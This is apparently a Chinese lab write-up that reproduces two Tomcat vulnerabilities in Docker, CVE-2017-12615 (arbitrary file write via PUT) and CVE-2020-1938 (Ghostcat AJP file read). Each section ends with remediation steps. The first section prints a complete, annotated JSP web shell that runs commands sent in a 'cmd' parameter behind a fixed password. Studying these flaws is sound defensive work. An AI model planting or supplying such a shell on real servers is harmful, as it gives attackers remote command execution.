文章目录
Tomcat PUT方法任意写文件漏洞(CVE-2017-12615)
Tomcat版本:8.5.19
PUT方法
-
除常用的GET和POST方法外还包括和GET请求类似的HEAD请求,TRACE和OPTIONS请求,以及这里的PUT请求方法;
-
PUT请求方法试图使用包含在请求主体的内容,向服务器上传指定的资源。如果能激活这个方法就可以用它来攻击应用程序。
漏洞环境搭建
- 使用docker进入环境所在目录并拉取镜像到仓库运行
- 进入bash环境
docker exec -it 8afe1f5de9a6 /bin/bash
进入容器的bash环境,查看
cat /usr/local/tomcat/conf/web.xml
漏洞成因
其中配置了readonly=false,导致我们可以往服务器写文件
漏洞复现
进入tomcat的漏洞环境,进行抓包发送到reapeater模块构造
进入tomcat的主目录/usr/local/tomcat/webapps/ROOT
中查看是否上传成功
显示没毛病,上传成功了,接下来就是研究上传的脚本了,怎样实现远程命令执行,对java不是很熟,学习了一下稍微注释了一些
<%@ page language="java" import="java.util.*,java.io.*" pageEncoding="UTF-8"%>
//设置页面编码格式,导入java包
<%!
public static String excuteCmd(String c)
{
StringBuilder line = new StringBuilder();
//StringBuilder一个类
try
{
Process pro = Runtime.getRuntime().exec(c);
//调用另一个的可执行程序或系统命令,cmd 是字符串类型 也可以是字符串类型的数组 内容就是 命令行
BufferedReader buf = new BufferedReader(new InputStreamReader(pro.getInputStream()));
//把字符流添加到缓冲流
String temp = null;
//值初始化为null
while ((temp = buf.readLine()) != null)
{
line.append(temp+"\\n");
}
buf.close();
//append追加字符串,然后关闭资源
}
catch (Exception e)
{
line.append(e.getMessage());
}
return line.toString();
}
%>
<%
if("023".equals(request.getParameter("pwd"))&&!"".equals(request.getParameter("cmd")))
//request.getParameter参数的取值,
{
out.println("<pre>"+excuteCmd(request.getParameter("cmd"))+"</pre>");
}
else
{
out.println(":-)");
//输出打印笑脸
}
%>
所以这里给cmd赋值一个命令行的命令就应该能实现远程执行
漏洞解决方法
由于存在去掉最后的 / 的特性,最好的解决方式是将 conf/web.xml 中对于 DefaultServlet 的 readonly 设置为 true。
Tomcat-Ajp漏洞(CVE-2020-1938)漏洞复现
漏洞详情
2月14日,Apache Tomcat 官方发布安全更新版本,修复漏洞。2月20日,国家信息安全漏洞共享平台(CNVD)发布安全公告,该漏洞综合评级为高危,漏洞 CVE 编号 CVE-2020-1938。
漏洞危害
攻击者可以读取 Tomcat下部署的所有webapp目录下的任意文件。
此外如果网站应用提供文件上传的功能,攻击者可以先向服务端上传一个内容含有恶意JsP脚本代码的文件(上传的文件本身可以是任意类型的文件,比如图片、纯文本文件等),然后利用Ghostcat漏洞进行文件包含,从而达到代码执行的危害。
【版本影响】
- Apache Tomcat 9.x<9.0.31
- Apache Tomcat 8.X <8.5.51
- Apache Tomcat 7.x<7.0.100
- Apache Tomcat 6.x
最近有个关于tomcat的漏洞文件包含的漏洞,就顺便复现一下,以上资料也是网上查的;
漏洞复现
查看刚刚用于复现的tomcat版本号是否会受影响
版本号符合要求,进入容器
查看一下配置cat /usr/local/tomcat/conf/server.xml
8009以及AJP协议开放,说明存在其漏洞,从网上下载了poc进行漏洞复现,但是现在运行会报错
我原本单纯的以为8009端口应该会开放着但是并没有
所以这里需要将之前的容器关掉,指定容器开放8009端口再进行复现
docker stop 镜像id
docker run -d -p 8080:8080 -p 8009:8009 3053aee7bf96
docker ps查看正在运行的容器
进入容器的bash环境 docker exec it “id”/bin/bash
然后再检查一下8009端口是否已经开启
此时已经开启8009端口,使用poc读取web.xml文件,如图
读取成功
自行创建一个文件123.txt,检查是否能读取
同样也能读取
解决方案
- 禁用AJP协议端口
- 配置ajp配置中的secretRequired跟secret属性来限制认证